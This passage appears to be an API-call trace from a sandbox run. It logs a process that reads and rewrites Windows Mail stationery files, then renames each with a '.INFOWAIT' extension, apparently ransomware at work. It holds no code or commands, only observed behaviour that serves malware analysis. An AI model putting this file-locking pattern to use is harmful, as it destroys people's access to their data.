(normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.649] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5d3f [0144.649] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.650] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.650] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x5d3f, lpOverlapped=0x0) returned 1 [0144.701] VirtualAlloc (lpAddress=0x0, dwSize=0x5d3f, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.703] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.703] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x5d3f, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x5d3f, lpOverlapped=0x0) returned 1 [0144.703] CloseHandle (hObject=0xad4) returned 1 [0144.703] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" [0144.703] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.INFOWAIT" [0144.703] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.infowait")) returned 1 [0144.704] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.704] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.705] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.705] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.705] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xed [0144.705] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.705] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.705] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xed, lpOverlapped=0x0) returned 1 [0144.707] VirtualAlloc (lpAddress=0x0, dwSize=0xed, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.707] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.707] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xed, lpOverlapped=0x0) returned 1 [0144.707] CloseHandle (hObject=0xad4) returned 1 [0144.707] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" [0144.707] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.INFOWAIT" [0144.707] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm.infowait")) returned 1 [0144.708] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.708] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.708] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.708] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.709] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1906 [0144.709] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.709] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.710] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1906, lpOverlapped=0x0) returned 1 [0144.714] VirtualAlloc (lpAddress=0x0, dwSize=0x1906, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.714] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.714] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1906, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1906, lpOverlapped=0x0) returned 1 [0144.714] CloseHandle (hObject=0xad4) returned 1 [0144.714] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" [0144.714] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.INFOWAIT" [0144.714] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.infowait")) returned 1 [0144.715] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.716] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.716] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.716] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.716] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xeb [0144.716] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.717] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.717] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xeb, lpOverlapped=0x0) returned 1 [0144.718] VirtualAlloc (lpAddress=0x0, dwSize=0xeb, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.718] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.718] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xeb, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xeb, lpOverlapped=0x0) returned 1 [0144.718] CloseHandle (hObject=0xad4) returned 1 [0144.718] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" [0144.718] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.INFOWAIT" [0144.719] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm.infowait")) returned 1 [0144.719] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.720] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.720] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.720] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.721] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x107e [0144.721] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.721] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.721] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x107e, lpOverlapped=0x0) returned 1 [0144.723] VirtualAlloc (lpAddress=0x0, dwSize=0x107e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.723] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.723] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x107e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x107e, lpOverlapped=0x0) returned 1 [0144.723] CloseHandle (hObject=0xad4) returned 1 [0144.723] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" [0144.723] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.INFOWAIT" [0144.723] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.infowait")) returned 1 [0144.724] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.725] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.725] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.725] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.725] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xed [0144.725] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.725] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.725] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xed, lpOverlapped=0x0) returned 1 [0144.727] VirtualAlloc (lpAddress=0x0, dwSize=0xed, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.727] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.727] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xed, lpOverlapped=0x0) returned 1 [0144.727] CloseHandle (hObject=0xad4) returned 1 [0144.727] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" [0144.727] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.INFOWAIT" [0144.727] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm.infowait")) returned 1 [0144.727] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.728] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.728] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.728] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.729] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x18ed [0144.729] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.729] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.729] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x18ed, lpOverlapped=0x0) returned 1 [0144.731] VirtualAlloc (lpAddress=0x0, dwSize=0x18ed, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.731] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.731] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x18ed, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x18ed, lpOverlapped=0x0) returned 1 [0144.731] CloseHandle (hObject=0xad4) returned 1 [0144.732] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" [0144.732] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.INFOWAIT" [0144.732] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.infowait")) returned 1 [0144.732] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.733] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.733] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.733] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.733] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe8 [0144.733] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.733] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.733] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xe8, lpOverlapped=0x0) returned 1 [0144.735] VirtualAlloc (lpAddress=0x0, dwSize=0xe8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.735] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.735] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xe8, lpOverlapped=0x0) returned 1 [0144.735] CloseHandle (hObject=0xad4) returned 1 [0144.735] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" [0144.735] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.INFOWAIT" [0144.735] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm.infowait")) returned 1 [0144.736] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.736] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.737] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.737] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.738] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13fb [0144.738] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.738] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.738] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x13fb, lpOverlapped=0x0) returned 1 [0144.740] VirtualAlloc (lpAddress=0x0, 